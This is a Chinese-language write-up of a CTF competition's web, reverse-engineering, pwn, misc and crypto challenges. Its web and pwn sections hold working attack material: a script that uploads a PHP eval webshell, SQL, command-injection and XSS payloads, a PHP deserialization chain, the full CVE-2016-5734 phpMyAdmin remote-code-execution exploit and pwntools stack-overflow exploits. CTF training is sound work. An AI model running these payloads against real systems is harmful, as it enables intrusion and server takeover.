Eg: Name | End Scores | Solves Counts

WEB

file-upl0ad | 200 | 0

考点:文件上传(.htaccess / html解析php)
解题思路:
这道题其实不算是真实环境中的文件上传类型,纯粹只是想一道题里多夹杂几个文件上传的考点而已~导致一开始那个输入框都以为是SQL题,然后就卡在绕过上了:( 但是提示应该也很明显是f* put content
图片
随便输入,发现有回显当前输入,可以hint  f* put content 大概率可以猜到是file_put_content()
简单绕过之后,发现文件上传
图片

解法一 .htaccess

因为后缀名黑名单很容易就能绕过,所以先上传一个.htaccess文件

AddType application/x-httpd-php .jpg

然后,在上传一个含有恶意脚本的 .jpg 即可getshell。

解法二 html解析php

经过测试是可以发现,首页是index.html而不是index.php,然后上传点,做了黑名单后缀名过滤和MIME白名单,但是上传HTML也在白名单里,所以可以直接上传含恶意脚本的 .html 文件,即可getshell。

EXP

# -*- coding: utf-8 -*-
# @Author: 0aKarmA_骅文
# @Date:   2019-06-23 23:15:09
# @Last Modified by:   0aKarmA
# @Last Modified time: 2019-06-24 09:46:40
import requests, re




def vulhtml(url):
    vul = url + "?text[]=123"
    files = {'uploaded':('0aKarmA.html', bytes("<?php @eval($_POST['1']); ?>", encoding="utf-8"), 'text/html')}
    verify = requests.get(vul)
    verify = "".join(re.findall(r'verify" value="(.*)"', verify.text))
    data = {'verify':verify, 'Upload':'Upload'}
    requests.post(vul, files=files, data=data)
    flag = requests.post(url + "uploads/" + verify + "_0aKarmA.html", data={'1':'system("cat ../include/flag");'})
    print(flag.text)


def vulhtaccess(url):
    vul = url + "?text[]=123"
    files = {'uploaded':('.htaccess', bytes("AddType application/x-httpd-php .jpg", encoding="utf-8"), 'application/octet-stream')}
    verify = requests.get(vul)
    verify = "".join(re.findall(r'verify" value="(.*)"', verify.text))
    data = {'verify':verify, 'Upload':'Upload'}
    # upload .htaccess
    requests.post(vul, files=files, data=data, proxies={'http':'http:127.0.0.1:8080'})
    # upload jpg
    files = {'uploaded':('0aKarmA.jpg', bytes("<?php @eval($_POST['1']); ?>", encoding="utf-8"), 'image/jpg')}
    verify = requests.get(vul)
    verify = "".join(re.findall(r'verify" value="(.*)"', verify.text))
    data = {'verify':verify, 'Upload':'Upload'}
    requests.post(vul, files=files, data=data)
    flag = requests.post(url + "uploads/" + verify + "_0aKarmA.jpg", data={'1':'system("cat ../include/flag");'})
    print(flag.text)




if __name__ == '__main__':
    url = "http://ip/"
    
    # vulhtml(url)
    vulhtaccess(url)

简单代码审计 | 100 | 25

考点:Burp截取数据包,代码审计
解题思路:
burp截断capture_the_flag.php
图片
对源码进行审计,发现是存在两个if判断
1. 让两个相等的值的md5值不相等
2. 绕过strpos()和ereg()函数(由于后面也写的password参数,使用数组即可绕过)

使用GET传参
capture_the_flag.php?username[]=1&password[]=2

SQL1 | 100 | 37

考点:简单SQL注入,SQLmap基本使用,万能密码
解题思路:

  1. SQLmap
./sqlmapu -u "http://ip/" --data "uname=1&passwd=1" --batch
./sqlmapu -u "http://ip/" --data "uname=1&passwd=1" --batch -D ez_sql -T flag --dump
  1. 万能密码
    uname=admin&passwd='or(1)#

SQL2 | 200 | 0

考点:xff头注入
解题思路:
图片
显示登陆IP,上次登陆IP
注销后再图片显示上次登陆ip和这次登陆ip
联想到xff头注入
测试一
图片
合理猜测,程序从数据库中SELECT出该用户上次登陆IP
然后使用$_session['ip']显示出本次ip
同时将本次ip使用insert语句插入数据库,所以可以insert注入
图片

x-forwarded-for:127.0.0.1

修改成功
猜测提取上一次ip记录的语句:

select ip from <table_name> where username = $user;

插入ip的语句

INSERT INTO t_session VALUES($time, $user, $ip);

构造注入

INSER INTO t_session VALUES($time, $user, '127.0.0.1' or extractvalue(0x7e,(select flag from flag)))#');

测试:过滤了
and select or flag
双写绕过
图片
图片

x-forwarded-for: 127.0.0.1' anandd extractvalue(1,concat(0x7e,(seleselectct flaflagg from flaflagg),0x7e)))#
flag为32位,显示不全,需要使用substr()获取最后几位

史上最简单的命令执行 | 100 | 21

考点:管道符或者%0a绕过进行命令执行
解题思路:
此题简单
直接

?target=127.0.0.1 | whoami

或者

?target=127.0.0.1%0awhoami

网络测试系统1.0版 | 199 | 2

考点:命令执行与绕过
解题思路:
发现表单传到了文件ping.php
删掉?ip 参数发现源码
根据过滤来看,可以用通配符和反引号来构成命令执行 同时需要绕过长度限制,于是payload

?ip=`nl${IFS}/f*`

Brute1G | 100 | 17

考点:Burp Intruder 模块的简单使用
解题思路:
题目说密码为三位数字,所以直接爆破就行了。字典的生成可通过Burp的Numbers模式生成,或者自己用脚本生成。
用Burp Intruder 模块爆破,最后在响应体中查看到 flag:
图片

Brute2G | 200 | 1

考点:根据信息收集字典,进行暴力破解。Cewl工具的使用以及编写脚本对字典的处理
解题思路:
 根据提示2,用 cewl 工具生成一个最小长度为 8 的字典。  

cewl http://pythonscraping.com/files/inaugurationSpeech.txt -d 1 -m 8 -w dxd.txt

再根据提示1,将字典中大于 8 位长度的密码筛选掉。Python 参考代码如下:

read = open("raw.txt", "r")
out = open("pwd.txt", "w")
pwdList = read.readlines()
for line in pwdList:
    pwd = line.strip()
    if len(pwd) == 8:
        out.write("%s\n" % pwd)

out.close()
read.close()

用生成的字典爆破,最后在响应体中查看到 flag。
PS:这里这两道爆破在出题时忽视了一个地方,导致最后的 flag 只有在响应报文中查看,而且输入了爆破出来的密码也没法get flag。最后很多同学都没有做出来,甚至耽误了做其他题的时间,实在是很不好意思。。。

XSS1 | 191 | 4

考点:xss绕过
解题思路:登陆后可以从cookie看到提示文件,也可以用御剑扫描。
图片
发现过滤了这些
图片
构造payload绕过
弹窗获取一个md5值
图片

伪造cookie获取flag

图片

XSS2 | 191 | 4

考点:xss绕过
解题思路:
Hint.txt发现过滤了这些
图片
发现是必须要包含http://
图片
javascript:alert(1)//http:// 这里必须要用单行注释符//注释掉后面的http://,这里因为在javascript伪协议里面,属于js范畴,所以单行注释符是可以使用的。
Payload:  javascript:alert(1)/http://www.baidu.com/

点击友情链接弹出MD5值

图片
跳转到flag.php里
flag.php? key=5e0b34ce86ca16784bf550d87923c3e9

图片
获取flag

Comein | 200 | 0

考点:反序列化全家桶

首先扫描目录很容易发现robots.txt和www.zip
发现robots.txt其实存在一个hpdoger.php,访问后提示not local
这里很多人用xxf以及各种ip头去绕是没用的,我后端用server_remote_addr去校验的
回看到代码index.php

<?php
error_reporting(0);


if (isset($_GET['season'])){
    echo "你们想要的我放在hpdoger.php里了~\n";
    new winter($_GET['season']);  //用来加载外链img,加了输入格式防止有黑客攻击
}else{
    header('Content-type: image/jpg');
    new GetAvator('avator.png');
}

class winter{
    public function __construct($season){
        unserialize($season);
    }
}


class spring{
    private $input,$func;


    public function __construct($func,$input){
        $this->func = $func;
        $this->input = $input;
    }


    public function __destruct(){
        $this->travel();
    }


    public function travel(){
        if(in_array($this->func, array('spring','summer','autumn','winter'))){
            $func = $this->func;
            $summer = new summer;
            $summer->Welcome();
            $$func($this->input);
        }else{
            echo "Wrong season boy";
        }
    }
}


class autumn{
    private $url;


    public function __call($callback,$url){
        $this->url = implode("", $url);
    }


    public function __destruct(){
        $this->Filter2File();
    }


    public function Filter2File()
    {
        if(!empty($this->url)){
            $blacklists = ['.txt','.php','.xml','.html', '.'];


            foreach ($blacklists as $ext) {
                if(strpos($this->url, $ext)){
                    die('Error');
                }
            }
            return new GetAvator($this->url);
        }
        return "please give me a url";
    }


}


class summer{
    private $callback,$text;


    public function Welcome(){
        print "Welcome Lovely hacker~";
    }


    public function __invoke($input){
        foreach ($input as $content) {
            if(preg_match("/[A-Za-z0-9]+/", $content) === 0){
                $this->callback = $content;
            }else{
                $this->text.=$content;
            }
        }
    }


    public function __destruct(){
        $autumn = new autumn;
        call_user_func(array($autumn,$this->callback),$this->text);
    }
}


class GetAvator{
    public function __construct($file){
        return readfile($file);
    }
}

看到readfile和本地,就不难想到拿index.php当跳板读hpdoger.php
注意魔法函数的使用,poc如下:

<?php

class spring{
    private $input;
    private $func;
    public function __construct($func,$input){
        $this->input = $input;
        $this->func = $func;
    }
}

$b = new spring('summer',array('__','http://localhost/hpdoger%2ephp'));
echo(urlencode(serialize($b)));

phpmyadmin 4.0.x | 191 | 4

考点:考察渗透过程对已知cms历史漏洞攻击
解题思路:

  1. 谷歌搜索:phpmyadmin 4.0.x 漏洞

图片
2. 确认cve编号:CVE-2016-5734

exp: https://www.exploit-db.com/exploits/40185
修改执行的命令为:cat /flag

#!/usr/bin/env python


"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""


import requests
import argparse
import sys


__author__ = "@iamsecurity"


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("url", type=str, help="URL with path to PMA")
    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
    arguments = parser.parse_args()
    url_to_pma = arguments.url
    uname = arguments.user
    upass = arguments.pwd
    if arguments.dbs:
        db = arguments.dbs
    else:
        db = "test"
    token = False
    custom_table = False
    if arguments.table:
        custom_table = True
        table = arguments.table
    else:
        table = "prgpwn"
    if arguments.cmd:
        payload = arguments.cmd
    else:
        payload = "system('cat /flag');"


    size = 32
    s = requests.Session()
    # you can manually add proxy support it's very simple ;)
    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
    s.verify = False
    sql = '''CREATE TABLE `{0}` (
      `first` varchar(10) CHARACTER SET utf8 NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
    '''.format(table)


    # get_token
    resp = s.post(url_to_pma + "/?lang=en", dict(
        pma_username=uname,
        pma_password=upass
    ))
    if resp.status_code is 200:
        token_place = resp.text.find("token=") + 6
        token = resp.text[token_place:token_place + 32]
    if token is False:
        print("Cannot get valid authorization token.")
        sys.exit(1)


    if custom_table is False:
        data = {
            "is_js_confirmed": "0",
            "db": db,
            "token": token,
            "pos": "0",
            "sql_query": sql,
            "sql_delimiter": ";",
            "show_query": "0",
            "fk_checks": "0",
            "SQL": "Go",
            "ajax_request": "true",
            "ajax_page_request": "true",
        }
        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
        if resp.status_code == 200:
            if "success" in resp.json():
                if resp.json()["success"] is False:
                    first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
                    error = first[:first.find("</code>")]
                    if "already exists" in error:
                        print(error)
                    else:
                        print("ERROR: " + error)
                        sys.exit(1)
    # build exploit
    exploit = {
        "db": db,
        "table": table,
        "token": token,
        "goto": "sql.php",
        "find": "0/e\0",
        "replaceWith": payload,
        "columnIndex": "0",
        "useRegex": "on",
        "submit": "Go",
        "ajax_request": "true"
    }
    resp = s.post(
        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
    )
    if resp.status_code == 200:
        result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
        if len(result):
            print("result: " + result)
            sys.exit(0)
        print(
            "Exploit failed!\n"
            "Try to manually set exploit parameters like --table, --database and --token.\n"
            "Remember that servers with PHP version greater than 5.4.6"
            " is not exploitable, because of warning about null byte in regexp"
        )
        sys.exit(1)

RE

这个男人必须die | 400 | 0

考点:MD5加密,ESP运用
解题思路:
打开显示debug消息,esp错误
图片
找到破坏esp平衡的地方
图片
nop掉
后面一段代码,可知输入长度为5图片
经过一个加密函数后,长度为16
图片
然后每4位进行一种运算,然后作比较判断正误
观察这个加密函数,他的第二个函数里有一组初始化数据,和md5是相同的图片
,可以确认这就是md5在这里测试数据,图片
输入5位的flag,经过md5加密,每4位及进行一种运算,然后和数组

0x16,0x62,0xb7,0x4c,0xc,0x81,0xc1,0x4f,0xde,0x89,0x8,0xee,0x7,0x23,0xe5,0x82

进行比较
等到字符串:Hanzo
注意提交时格式
flag:
D0g3{Hanzo}

CoreProject | 400 | 0

考点:Pe文件格式,反调试机制,Base64加密
解题思路:
放入peid,发现pe格式有两个地方不对,进行修改
图片
图片
ida无异常后,在od中运行,发现由int 2d异常,NOP掉
图片
有4个简单的反调试检测,每一个检测通过会返回一个字符
得到串字符是:aGVs
另外一部分是固定字符`G9+,进行异或和加法运算
得到另外四个字符:bG9+
然后我们对输入进行base64加密,和刚才的字符串经行比较
正确的输入:hello~图片
flag:
D0g3{hello~}

Android1-smali | 400 | 3

考点:反编译工具的使用,java伪代码分析,smali语言语法
解题思路:
首先反编译apk,得到java伪代码:
图片
分析逻辑可知,该apk先进行 一个check()的算法检验输入是否正确,若算法正确,再有一个随机数,若随机到3999,然后所输入的字符串若正确,则利用encode()函数进行加密,加密后显示出flag。
也就是根据check()函数算出输入的字符串,再在smali文件中修改随机数判断就可以得到flag了。写出check()算法的脚本:
图片
得到: E@sY_AMdrOld,但这不是最终答案,输入这个会显示:
图片
然后修改smali文件:
图片
将if-ne改为if-eq,重新打包,输入E@sY_AMdrOld后得到:
flag{QAkCw7bCrMKtSml9VGw0}

Android2 | 400 | 0

考点:使用工具IDA Pro分析so文件分析算法
解题思路:
先反编译apk,查看java伪代码:
图片
反编译可知逻辑,先通过so文件里的函数check来判断是否正确,若正确,再通过a函数来弹出flag。用IDA pro打开apk中lib里的so文件,找到check()函数,反编译得:
图片
可以看到反汇编之后,有Jni的结构体没有识别出来:
图片 图片
如何解决不详细写,此为解决的文章:https://blog.csdn.net/qq_33438733/article/details/79047291
识别出后可以看到v5就是输入的字符串:
图片
把以上算法整理出来就是:
图片
然后写出脚本逆向解出flag:
图片
输入答案得到flag:
flag{!AZFAU4t7}

PWN

shellcode | 400 | 1

这是一个最简单的栈溢出,没有开任何保护,而且给了栈地址
思路: 直接往栈里面写shellcode,然后ret到栈上,执行shellcode

from pwn import *


context(os = 'linux', arch = 'i386', log_level = 'debug')


shellcode = asm(shellcraft.sh())


io = remote('192.168.37.133', 9999)
#process('./shellcode')


text = io.recvline()[10:-1]
addr = int(text, 16)
print(hex(addr))


payload = shellcode + 'a'*(0x58 + 0x4 - len(shellcode)) + p32(addr)


io.sendline(payload)
io.interactive()
io.close()

ff | 400 | 0

此题也是栈溢出,但是开了保护,不能在栈里面执行shellcode,而且溢出只能覆盖ret,思路是同时劫持rbp和ret,达成劫持栈的目的,这个方法叫frame faking
具体参考这里https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/fancy-rop-zh/#frame-faking
但是还有一个坑就是,在泄漏libc的时候,你的输入可能会覆盖到io缓冲区,所以要在前面填充一段没用的字符来减缓对io缓冲区的影响,具体看exp:

from pwn import *


#context(os='linux', arch='amd64',log_level='debug')


#p = process('./ff')
p = remote('0.0.0.0', 9999)




pop_rdi_ret=0x4006f3
puts_got=0x600A78
puts_plt=0x4004E0
main=0x4005F7
name=0x600AE0
bss=name+0x100
leave_ret=0x40068e




p.recvuntil("Input Your Name:\n")
payload1="1"*0x100+p64(0)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
p.send(payload1)


p.recvuntil("Input Buffer:\n")
payload2="1"*0x40+p64(bss)+p64(leave_ret)
p.send(payload2)


#libc=u64(p.recv(6).ljust(0x8,"\x00"))-0x809c0
libc=u64(p.recv(6).ljust(0x8,"\x00"))-0x6f690
print hex(libc)
one=libc+0xf1147
#one=libc+0x10a38c


p.recvuntil("Input Your Name:\n")
p.send("1111")
p.recvuntil("Input Buffer:\n")
p.send("2"*0x48+p64(one))

p.interactive()

MISC

misc-1 | 200 | 0

简单的lsb隐写,隐写通道为lsb通道,Stegsolve打开图片后在Analyse选项卡使用Data Extract勾选Red,Green,Blue的第0通道Preview即可

misc-2 | 200 | 0

高度隐写,修改png高度位即可

misc-3 | 200 | 0

改成zip后缀用winrar解压得到
flag.txt,里面有base64编码的flag

ZDBnM3tzYWt1cmFfaXNfdGhlX21vc3RfYmVhdXRpZnVsX2dpcmxfaW5fbXlfaGVhcnR9 

解码得

d0g3{sakura_is_the_most_beautiful_girl_in_my_heart}

misc-5 | 200 | 0

考点:ntfs隐写、文件头
1.winhex打开在底部发现半个flag{0012-22,以及提示:The other half of flag is in data flow
2.用NtfsStreamsEdictor打开jpg,发现存在数据流flag-02.txt,导出txt
解码得到下一半flag:53-4854}
}flag{
问题:文件上传到ctf平台后ntfs数据流被自动删除,所以没人做出来。。。

misc-6 | 200 | 1

考点:音频隐写
1.根据题目无声的眼,wav使用silenteye解密
2.得到zip,但是需要密码
3.注意到图片上的数字54854
}4.解压拿到flag{

CRYPTO

Bacon | 100 | 37

考点:摩尔斯电码,培根密码
题目先给出了一串摩尔斯电码,找网站解码得到一串字母AB组成的字符串,有过积累的话就会想到是培根密码,找网站解密得到flag。(培根密码解出来可能有全是大写或全是小写,不确定的话这时候多试一次看看)
flag:
D0g3{BACONANDMORSE}

Rome was not built in a day | 200 | 2

考点:JSfuck编码 base64编码 凯撒密码
题目给出了一大段[]+!()组成的编码,可以知道这是JSfuck编码,找网站解码得到一串base64编码:RzJoM3ppZmpiWWheVmFeYlplbg==
base64解码得到:G2h3zifjbYh^Va^bZen
由本题目“Rome”可知,可能与凯撒密码有关,根据这段字符串的ASCII码与flag格式D0g3比较可知,第一个字符G为D向右移动3位,第二个2为0向右移动2位,第三个h为g向右移动1位……由此可知此加密的规律,推导可到flag:D0g3{king_of_kings}。
这道题最后做出来的人很少,第三步的凯撒密码是和培训时讲的差不多的,前两步的不知道是什么的再看一遍文章吧:https://blog.csdn.net/fox_wayen/article/details/78235192

EZ_RSA | 300 | 1

考点:RSA基础加解密
题目给出了p,q可以求出n
通过e,(p-1),(q-1)可以求出d
根据d,n,c求出明文m
需要将整型m转换为字符串,用到python的libnum库的n2s函数。
flag为 D0g3{Easy_RSA_concept}
解题脚本如下:

# -*-coding:utf-8-*-
from libnum import n2s,s2n

# 求最大公约数
def gcd(a, b):
    if a < b:
        a, b = b, a
    while b != 0:
        temp = a % b
        a = b
        b = temp
    return a


# 扩展欧几里得算法
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b%a, a)
        return (g, x-(b//a)*y, y)


def modinv(a, m):
    g, x, y = egcd(a,m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x%m


if __name__ == '__main__':
    p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
    q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
    e = 65537
    d = modinv(e, (p-1)*(q-1))
    n = p * q
    c = 106152728715221058620064685227396062702235702724703833638686472100857226339303055943873507969251989089875171544504711163595789208299769740055926143451215145378061146612989860540680706767318010798817781808652118147322641288328496768607936955389290087039472916741459987223268806330651171586566662890562045187071
    flag = n2s(pow(c, d, n))
    print('d=%d' %d)
    print('m=%d' %pow(c,d,n))
    print('flag=%s' %flag)

后来担心python里的libnum模块很多人不知道,所以改成了解出明文数字的md5作为提交的flag而不再转为字符串,但是疏忽了题目描述说的明文而没说是数字,就有人做出来得到字符串后提交不正确。但似乎不用libnum模块的n2s函数也可以转字符串。